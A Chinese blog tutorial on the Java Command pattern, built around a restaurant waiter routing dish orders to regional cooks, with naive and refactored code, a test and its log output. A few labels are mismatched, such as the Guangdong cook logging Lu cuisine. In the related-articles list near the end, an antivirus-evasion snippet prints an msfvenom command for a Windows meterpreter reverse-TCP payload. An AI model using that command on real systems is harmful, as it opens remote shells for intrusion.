当前位置: 首页 > news >正文

2024050501-重学 Java 设计模式《实战命令模式》

重学 Java 设计模式:实战命令模式「模拟高档餐厅八大菜系,小二点单厨师烹饪场景」

一、前言

持之以恒的重要性

初学编程往往都很懵,几乎在学习的过程中会遇到各种各样的问题,哪怕别人那运行好好的代码,但你照着写完就报错。但好在你坚持住了,否则你可能看不到这篇文章。时间和成长就是相互关联着,你在哪条路上坚持走的久,就能看见那条的终点有多美,但如果你浪费了一次又一次努力的机会,那么你也会同样错过很多机遇,因为你的路换了。坚持学习、努力成长,持以恒的付出一定会有所收获。

学习方法的重要性

不会学习往往会耽误很多时间,又没有可观的收成。但不会学习有时候是因为造成的,尤其是学习视频、书籍资料、技术文档等,如果只是看了却不是实际操作验证,那么真的很难把别人的知识让自己吸收,即使是当时感觉会了也很快就会忘记。时而也经常会有人找到你说;“这个我不知道,你先告诉我,过后我就学。”但过后你学了吗?

你愿意为一个知识盲区付出多长时间

你心里时而会蹦出这样的词吗;太难了我不会找个人帮一下吧放弃了放弃了,其实谁都可能遇到很不好解决的问题,也是可以去问去咨询的。但,如果在这之前你没有在自己的大脑中反复的寻找答案,那么你的大脑中就不会形成一个凸点的知识树,缺少了这个学习过程也就缺少了查阅各种资料给自己大脑填充知识的机会,哪怕是问到了答案最终也会因时间流逝而忘记。

二、开发环境

  1. JDK 1.8
  2. Idea + Maven
  3. 涉及工程三个,可以通过关注公众号bugstack虫洞栈,回复源码下载获取(打开获取的链接,找到序号18)
工程描述
itstack-demo-design-14-01使用一坨代码实现业务需求
itstack-demo-design-14-02通过设计模式优化代码结构,增加扩展性和维护性

三、命令模式介绍

命令模式,图片来自 refactoringguru.cn

  • 图片来自:https://refactoringguru.cn/design-patterns/command

命令模式在我们通常的互联网开发中相对来说用的比较少,但这样的模式在我们的日常中却经常使用到,那就是Ctrl+CCtrl+V。当然如果你开发过一些桌面应用,也会感受到这样设计模式的应用场景。从这样的模式感受上,可以想到这是把逻辑实现与操作请求进行分离,降低耦合方便扩展。

命令模式是行为模式中的一种,以数据驱动的方式将命令对象,可以使用构造函数的方式传递给调用者。调用者再提供相应的实现为命令执行提供操作方法。可能会感觉这部分有一些饶,可以通过对代码的实现进行理解,在通过实操来熟练。

在这个设计模式的实现过程中有如下几个比较重要的点;

  1. 抽象命令类;声明执行命令的接口和方法
  2. 具体的命令实现类;接口类的具体实现,可以是一组相似的行为逻辑
  3. 实现者;也就是为命令做实现的具体实现类
  4. 调用者;处理命令、实现的具体操作者,负责对外提供命令服务

四、案例场景模拟

场景模拟;大餐厅点餐场景

在这个案例中我们模拟在餐厅中点餐交给厨师👨‍🍳烹饪的场景

命令场景的核心的逻辑是调用方与不需要去关心具体的逻辑实现,在这个场景中也就是点餐人员只需要把需要点的各种菜系交个小二就可以,小二再把各项菜品交给各个厨师进行烹饪。也就是点餐人员不需要跟各个厨师交流,只需要在统一的环境里下达命令就可以。

在这个场景中可以看到有不同的菜品;山东(鲁菜)、四川(川菜)、江苏(苏菜)、广东(粤菜)、福建(闽菜)、浙江(浙菜)、湖南(湘菜),每种菜品都会有不同的厨师👩‍🍳进行烹饪。而客户并不会去关心具体是谁烹饪,厨师也不会去关心谁点的餐。客户只关心早点上菜,厨师只关心还有多少个菜要做。而这中间的衔接的过程,由小二完成。

那么在这样的一个模拟场景下,可以先思考🤔哪部分是命令模式的拆解,哪部分是命令的调用者以及命令的实现逻辑。

五、用一坨坨代码实现

不考虑设计模式的情况下,在做这样一个点单系统,有一个类就够了

像是这样一个复杂的场景,如果不知道设计模式直接开发,也是可以达到目的的。但对于后续的各项的菜品扩展、厨师实现以及如何调用上会变得非常耦合难以扩展。

1. 工程结构

itstack-demo-design-14-01
└── src└── main└── java└── org.itstack.demo.design└── XiaoEr.java
  • 这里只有一个饭店小二的类,通过这样的一个类实现整个不同菜品的点单逻辑。

2. 代码实现

public class XiaoEr {private Logger logger = LoggerFactory.getLogger(XiaoEr.class);private Map<Integer, String> cuisineMap = new ConcurrentHashMap<Integer, String>();public void order(int cuisine) {// 广东(粤菜)if (1 == cuisine) {cuisineMap.put(1, "广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}// 江苏(苏菜)if (2 == cuisine) {cuisineMap.put(2, "江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。");}// 山东(鲁菜)if (3 == cuisine) {cuisineMap.put(3, "山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头.");}// 四川(川菜)if (4 == cuisine) {cuisineMap.put(4, "四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。");}}public void placeOrder() {logger.info("菜单:{}", JSON.toJSONString(cuisineMap));}}
  • 在这个类的实现中提供了两个方法,一个方法用于点单添加菜品order(),另外一个方法展示菜品的信息placeOrder()
  • 从上面可以看到有比较多的if语句判断类型进行添加菜品,那么对于这样的代码后续就需要大量的经历进行维护,同时可能实际的逻辑要比这复杂的多。都写在这样一个类里会变得耦合的非常严重。

六、命令模式重构代码

接下来使用命令模式来进行代码优化,也算是一次很小的重构。

命令模式可以将上述的模式拆解三层大块,命令、命令实现者、命令的调用者,当有新的菜品或者厨师扩充时候就可以在指定的类结构下进行实现添加即可,外部的调用也会非常的容易扩展。

1. 工程结构

itstack-demo-design-14-02
└── src├── main│   └── java│       └── org.itstack.demo.design│           ├── cook│           │	├── impl│           │	│   ├── GuangDongCook.java│           │	│   ├── JiangSuCook.java│           │	│   ├── ShanDongCook.java│           │	│   └── SiChuanCook.java│           │	└── ICook.java│           ├── cuisine│           │	├── impl│           │	│   ├── GuangDoneCuisine.java│           │	│   ├── JiangSuCuisine.java│           │	│   ├── ShanDongCuisine.java│           │	│   └── SiChuanCuisine.java│           │	└── ICuisine.java│           └── XiaoEr.java└── test└── java└── org.itstack.demo.test└── ApiTest.java

命令模式模型结构

在这里插入图片描述

  • 从上图可以看到整体分为三大块;命令实现(菜品)、逻辑实现(厨师)、调用者(小二),以上这三面的实现就是命令模式的核心内容。
  • 经过这样的拆解就可以非常方面的扩展菜品、厨师,对于调用者来说这部分都是松耦合的,在整体的框架下可以非常容易加入实现逻辑。

2. 代码实现

2.1 抽象命令定义(菜品接口)
/*** 博客:https://bugstack.cn - 沉淀、分享、成长,让自己和他人都能有所收获!* 公众号:bugstack虫洞栈* Create by 小傅哥(fustack) @2020** 菜系* 01、山东(鲁菜)——宫廷最大菜系,以孔府风味为龙头。* 02、四川(川菜)——中国最有特色的菜系,也是民间最大菜系。* 03、江苏(苏菜)——宫廷第二大菜系,古今国宴上最受人欢迎的菜系。* 04、广东(粤菜)——国内民间第二大菜系,国外最有影响力的中国菜系,可以代表中国。* 05、福建(闽菜)——客家菜的代表菜系。* 06、浙江(浙菜)——中国最古老的菜系之一,宫廷第三大菜系。* 07、湖南(湘菜)——民间第三大菜系。* 08、安徽(徽菜)——徽州文化的典型代表。*/
public interface ICuisine {void cook(); // 烹调、制作}
  • 这是命令接口类的定义,并提供了一个烹饪方法。后面会选四种菜品进行实现。
2.2 具体命令实现(四种菜品)

广东(粤菜)

public class GuangDoneCuisine implements ICuisine {private ICook cook;public GuangDoneCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}

江苏(苏菜)

public class JiangSuCuisine implements ICuisine {private ICook cook;public JiangSuCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}

山东(鲁菜)

public class ShanDongCuisine implements ICuisine {private ICook cook;public ShanDongCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}

四川(川菜)

public class SiChuanCuisine implements ICuisine {private ICook cook;public SiChuanCuisine(ICook cook) {this.cook = cook;}public void cook() {cook.doCooking();}}
  • 以上是四种菜品的实现,在实现的类中都有添加了一个厨师类(ICook),并通过这个类提供的方法进行操作命令(烹饪菜品)cook.doCooking()
  • 命令的实现过程可以是按照逻辑进行添加补充,目前这里抽象的比较简单,只是模拟一个烹饪的过程,相当于同时厨师进行菜品烹饪。
2.3 抽象实现者定义(厨师接口)
public interface ICook {void doCooking();}
  • 这里定义的是具体的为命令的实现者,这里也就是菜品对应的厨师烹饪的指令实现。
2.4 实现者具体实现(四类厨师)

粤菜,厨师

public class GuangDongCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}}

苏菜,厨师

public class JiangSuCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。");}}

鲁菜,厨师

public class ShanDongCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头");}}

苏菜,厨师

public class SiChuanCook implements ICook {private Logger logger = LoggerFactory.getLogger(ICook.class);public void doCooking() {logger.info("四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。");}}
  • 这里是四类不同菜品的厨师👩‍🍳,在这个实现的过程是模拟打了日志,相当于通知了厨房里具体的厨师进行菜品烹饪。
  • 从以上可以看到,当我们需要进行扩从的时候是可以非常方便的进行添加的,每一个类都具备了单一职责原则。
2.5 调用者(小二)
public class XiaoEr {private Logger logger = LoggerFactory.getLogger(XiaoEr.class);private List<ICuisine> cuisineList = new ArrayList<ICuisine>();public void order(ICuisine cuisine) {cuisineList.add(cuisine);}public synchronized void placeOrder() {for (ICuisine cuisine : cuisineList) {cuisine.cook();}cuisineList.clear();}}
  • 在调用者的具体实现中,提供了菜品的添加和菜单执行烹饪。这个过程是命令模式的具体调用,通过外部将菜品和厨师传递进来而进行具体的调用。

3. 测试验证

3.1 编写测试类
@Test
public void test(){// 菜系 + 厨师;广东(粤菜)、江苏(苏菜)、山东(鲁菜)、四川(川菜)ICuisine guangDoneCuisine = new GuangDoneCuisine(new GuangDongCook());JiangSuCuisine jiangSuCuisine = new JiangSuCuisine(new JiangSuCook());ShanDongCuisine shanDongCuisine = new ShanDongCuisine(new ShanDongCook());SiChuanCuisine siChuanCuisine = new SiChuanCuisine(new SiChuanCook());// 点单XiaoEr xiaoEr = new XiaoEr();xiaoEr.order(guangDoneCuisine);xiaoEr.order(jiangSuCuisine);xiaoEr.order(shanDongCuisine);xiaoEr.order(siChuanCuisine);// 下单xiaoEr.placeOrder();
}
  • 这里可以主要观察菜品厨师的组合;new GuangDoneCuisine(new GuangDongCook());,每一个具体的命令都拥有一个对应的实现类,可以进行组合。
  • 当菜品和具体的实现定义完成后,由小二进行操作点单,xiaoEr.order(guangDoneCuisine);,这里分别添加了四种菜品,给小二。
  • 最后是下单,这个是具体命令实现的操作,相当于把小二手里的菜单传递给厨师。当然这里也可以提供删除和撤销,也就是客户取消了自己的某个菜品。
3.2 测试结果
22:12:13.056 [main] INFO  org.itstack.demo.design.cook.ICook - 广东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头
22:12:13.059 [main] INFO  org.itstack.demo.design.cook.ICook - 江苏厨师,烹饪苏菜,宫廷第二大菜系,古今国宴上最受人欢迎的菜系。
22:12:13.059 [main] INFO  org.itstack.demo.design.cook.ICook - 山东厨师,烹饪鲁菜,宫廷最大菜系,以孔府风味为龙头
22:12:13.059 [main] INFO  org.itstack.demo.design.cook.ICook - 四川厨师,烹饪川菜,中国最有特色的菜系,也是民间最大菜系。Process finished with exit code 0
  • 从上面的测试结果可以看到,我们已经交给调用者(小二)的点单,由不同的厨师具体实现(烹饪)。
  • 此外当我们需要不同的菜品时候或者修改时候都可以非常方便的添加和修改,在具备单一职责的类下,都可以非常方便的扩展。

七、总结

  • 从以上的内容和例子可以感受到,命令模式的使用场景需要分为三个比较大的块;命令实现调用者,而这三块内容的拆分也是选择适合场景的关键因素,经过这样的拆分可以让逻辑具备单一职责的性质,便于扩展。
  • 通过这样的实现方式与if语句相比,降低了耦合性也方便其他的命令和实现的扩展。但同时这样的设计模式也带来了一点问题,就是在各种命令与实现的组合下,会扩展出很多的实现类,需要进行管理。
  • 设计模式的学习一定要勤加练习,哪怕最开始是模仿实现也是可以的,多次的练习后再去找到一些可以优化的场景,并逐步运用到自己的开发中。提升自己对代码的设计感觉,让代码结构更加清晰易扩展。

相关文章:

2024050501-重学 Java 设计模式《实战命令模式》

重学 Java 设计模式&#xff1a;实战命令模式「模拟高档餐厅八大菜系&#xff0c;小二点单厨师烹饪场景」 一、前言 持之以恒的重要性 初学编程往往都很懵&#xff0c;几乎在学习的过程中会遇到各种各样的问题&#xff0c;哪怕别人那运行好好的代码&#xff0c;但你照着写完…...

0104__Linux 中 nm 命令简介

Linux 中 nm 命令简介_linux nm-CSDN博客...

Linux网络服务

01 Linux网络设置 02 DHCP原理与配置 03 DNS域名解析服务 04 远程访问及控制 05 部署YUM仓库及NFS共享服务 06 PXE高效批量网络装机...

Vue18-列表渲染

一、v-for渲染列表 1-1、遍历数组&#xff08;用的多&#xff09; 1-2、key属性 让每一个<li>都有一个唯一的标识&#xff01; 1、写法一 只有用了遍历的方式(v-for)来生成多个同样结构的数据&#xff0c;必须给每个结构取一个唯一的标识。 2、写法二 或者&#xff1a;…...

【三维重建】增量SFM系统

在学习完鲁鹏老师的三维重建基础后&#xff0c;打算用C代码复现一下增量SFM系统&#xff08;https://github.com/ldx-star/SFM&#xff09;。 本项目的最终目标就是通过相机拍摄的多视角视图获取三维点云。由于资金有效&#xff0c;博主使用的是相机是小米12。 先来看一下最终…...

PyTorch 维度变换-Tensor基本操作

以如下 tensor a 为例&#xff0c;展示常用的维度变换操作 >>> a torch.rand(4,3,28,28) >>> a.shape torch.Size([4, 3, 28, 28])view / reshape 两者功能完全相同: a.view(shape) >>> a.view(4,3,28*28) ## a.view(4,3,28,28) 可恢复squeeze…...

spring 事务失效的几种场景

一、背景 在 springBoot 开发过程中&#xff0c;我们一般都是在业务方法上添加 Transactional 注解来让 spring 替我们管理事务&#xff0c;但在某些特定的场景下&#xff0c;添加完注解之后&#xff0c;事务是不生效的&#xff0c;接下来详细介绍下。 二、方法不是 public 2…...

45岁程序员独白:中年打工人出路在哪里?

作为一名也是JAVA方向的互联网从业者&#xff0c;我发现周围超过40岁以上的同事&#xff0c;基本都是部门负责人或者高层&#xff0c;真正还在一线做开发或者当个小领导的&#xff0c;已经是凤毛麟角了。 同事A今年刚满40&#xff0c;育有一儿一女&#xff0c;从进入公司到现在…...

深度探讨:为何训练精度不高却在测试中表现优异?

深度探讨&#xff1a;为何训练精度不高却在测试中表现优异&#xff1f; 在深度学习领域&#xff0c;我们经常遇到这样一个看似矛盾的现象&#xff1a;模型在训练集上的精度不是特别高&#xff0c;但在测试集上却能达到出色的表现。这种情况虽然不是常规&#xff0c;但其背后的…...

动态内存管理<C语言>

导言 在C语言学习阶段&#xff0c;指针、结构体和动态内存管理&#xff0c;是后期学习数据结构的最重要的三大知识模块&#xff0c;也是C语言比较难的知识模块&#xff0c;但是“天下无难事”&#xff0c;只要认真踏实的学习&#xff0c;也能解决&#xff0c;所以下文将介绍动态…...

第一百零二节 Java面向对象设计 - Java静态内部类

Java面向对象设计 - Java静态内部类 静态成员类不是内部类 在另一个类的主体中定义的成员类可以声明为静态。 例子 以下代码声明了顶级类A和静态成员类B&#xff1a; class A {// Static member classpublic static class B {// Body for class B goes here} }注意 静态成…...

给自己Linux搞个『回收站』,防止文件误删除

linux没有像windows里一样的回收站&#xff0c;工作时候删除文件容易不小心删错&#xff0c;造成麻烦的后果。所以给自己整了个回收站&#xff1a; 文件删除&#xff0c;新建~/opts/move_to_trash.sh&#xff0c;然后在里面新增&#xff0c;将${your_name}改成你的用户名。同时…...

Springboot接收参数的21种方式

前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...

打造出色开发者体验的十大原则

大约十年前我是一名CIO&#xff0c;当时我在评估一种技术解决方案&#xff0c;向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求&#xff0c;但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...

Vue3_对接腾讯云COS_大文件分片上传和下载

目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档&#xff1a; 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...

python免杀--base64加密(GG)

单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...

Python版与Java版城市天气信息爬取对比分析

在对比Python版和Java版城市天气信息爬取时&#xff0c;我们需要考虑多个方面&#xff0c;包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析&#xff1a; 1. 语言特性 Python&#xff1a; 易于学习&#xff1a;Python的语法清…...

CSS真题合集(二)

CSS真题合集&#xff08;二&#xff09; 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...

长期出汗困扰你?可能是肾合出了问题

想象一下&#xff0c;我们的身体是一座繁茂的秘密花园&#xff0c;每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水&#xff0c;则是这花园中无声的语言&#xff0c;它讲述着我们的健康与否&#xff0c;也揭示着身体内部的微妙变化。 在炎炎夏日&#xff0c;身体如盛开…...

Jmeter函数二次开发说明

jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖&#xff0c;需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...

重新学习STM32(1)GPIO

概念简介 GPIO 是通用输入输出端口的简称&#xff0c;简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来&#xff0c;从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组&#xff0c;比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...

React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用

文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理&#xff0c;以提高用户体验&#xff0c;实现过渡效果。 一、路由配置和懒…...

成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)

电商低价神秘顾客需要具备以下条件&#xff0c;以确保能够执行有效的调查任务并为企业提供有价值的反馈&#xff1a; 1、细致的观察能力&#xff1a;神秘顾客访问员需要具备细致的观察能力&#xff0c;能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...

现货黄金交易多少克一手?国内外情况大不同

如果大家想参与国际市场上的现货黄金交易&#xff0c;就应该从它交易细则的入手&#xff0c;先彻底认识这个品种&#xff0c;因为它是来自欧美市场的投资方式&#xff0c;所以无论是从合约的计的单位&#xff0c;计价的货币&#xff0c;交易的具体时间&#xff0c;以及买卖过程…...

LNMP与动静态网站介绍

Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型&#xff0c;在高并发场景下&#xff0c;Nginx能够轻松支持5w并发连接数的响应&#xff0c;并…...

教育小程序开发:技术实现与实践案例

随着信息技术的不断进步&#xff0c;教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率&#xff0c;还能够提供个性化的学习体验。本文将以技术代码为例&#xff0c;详细介绍教育小程序开发的关键技术和实践案例&#xff0c;帮助开发者更好地理解和实…...

LeetCode 746.使用最小花费爬楼梯

题目&#xff1a; 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用&#xff0c;即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...

软件设计模式概述

一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针&#xff0c;有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式&#xff0c;并利用封装、…...

短剧片源火爆,千金难求好剧源

前言 在当今快节奏的生活中&#xff0c;短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式&#xff0c;异军突起&#xff0c;吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐&#xff0c;更以其高潮迭起的情节设计&#xff0c;让观众在短时间内便能体验到…...

MES系统定制 | 生产调度车间排班计划/MES排程排产

MES系统是一种集成化的生产信息化管理系统&#xff0c;通过实时收集和分析车间生产数据&#xff0c;帮助企业实现生产过程的自动化控制和监测。它可以跟踪生产计划、设备状态、物料流动等关键指标&#xff0c;并提供实时报表和决策支持。在这个系统中&#xff0c;车间班次排班是…...

武汉建筑网站/知乎seo

C 二维数组动态分配和释放(1)已知第二维Code-1 char (*a)[N];//指向数组的指针a (char (*)[N])malloc(sizeof(char *) * m);printf("%d\n", sizeof(a));//4&#xff0c;指针printf("%d\n", sizeof(a[0]));//N&#xff0c;一维数组free(a);(2)已知第一维Co…...

网站建设 千佳网络/市场推广方案

世界上至少有10種東西是你不知道的 1.蝦米的心臟在頭部。 2.老鼠和馬不能嘔吐。 3.據說貓的尿液是夜光的。 4.世界人口50%的人從來都沒有接過電話。 5.人的心臟可以產生把血液噴出三十尺高的壓力。 6.你永遠不可能用你的舌頭舔到你的手肘。 …...

无锡哪里做网站/seo专员是什么

胆大心细做事&#xff0c;低调谦虚做人&#xff01;转载于:https://blog.51cto.com/09112012/2051790...

app制作开发费用多少/最好的关键词排名优化软件

方格填数 题目描述 在2行5列的格子中填入1到10的数字。 要求&#xff1a;相邻的格子中的数&#xff0c;右边的大于左边的&#xff0c;下边的大于上边的。 如下图所示的2种&#xff0c;就是合格的填法。 请你计算一共有多少种可能的方案。 输出 请输出该整数&#xff0c;不要…...

有网站建设需求的网站/互联网舆情监测系统

1、cardinality语法es&#xff0c;去重&#xff0c;cartinality metric&#xff0c;对每个bucket中的指定的field进行去重&#xff0c;取去重后的count&#xff0c;类似于count(distcint)cardinality&#xff0c;count(distinct)&#xff0c;5%的错误率&#xff0c;性能在100ms…...

做网站资讯/如何优化关键词排名快速首页

在9月19日下午的杭州云栖大会飞天技术汇-CDN与边缘计算专场中&#xff0c;阿里云边缘计算团队的高级技术专家王广芳&#xff0c;从边缘计算的定义、场景的需求和挑战、ENS产品的价值及能力&#xff0c;以及典型的应用场景和案例等几个方面&#xff0c;详细解读了阿里云对于边缘…...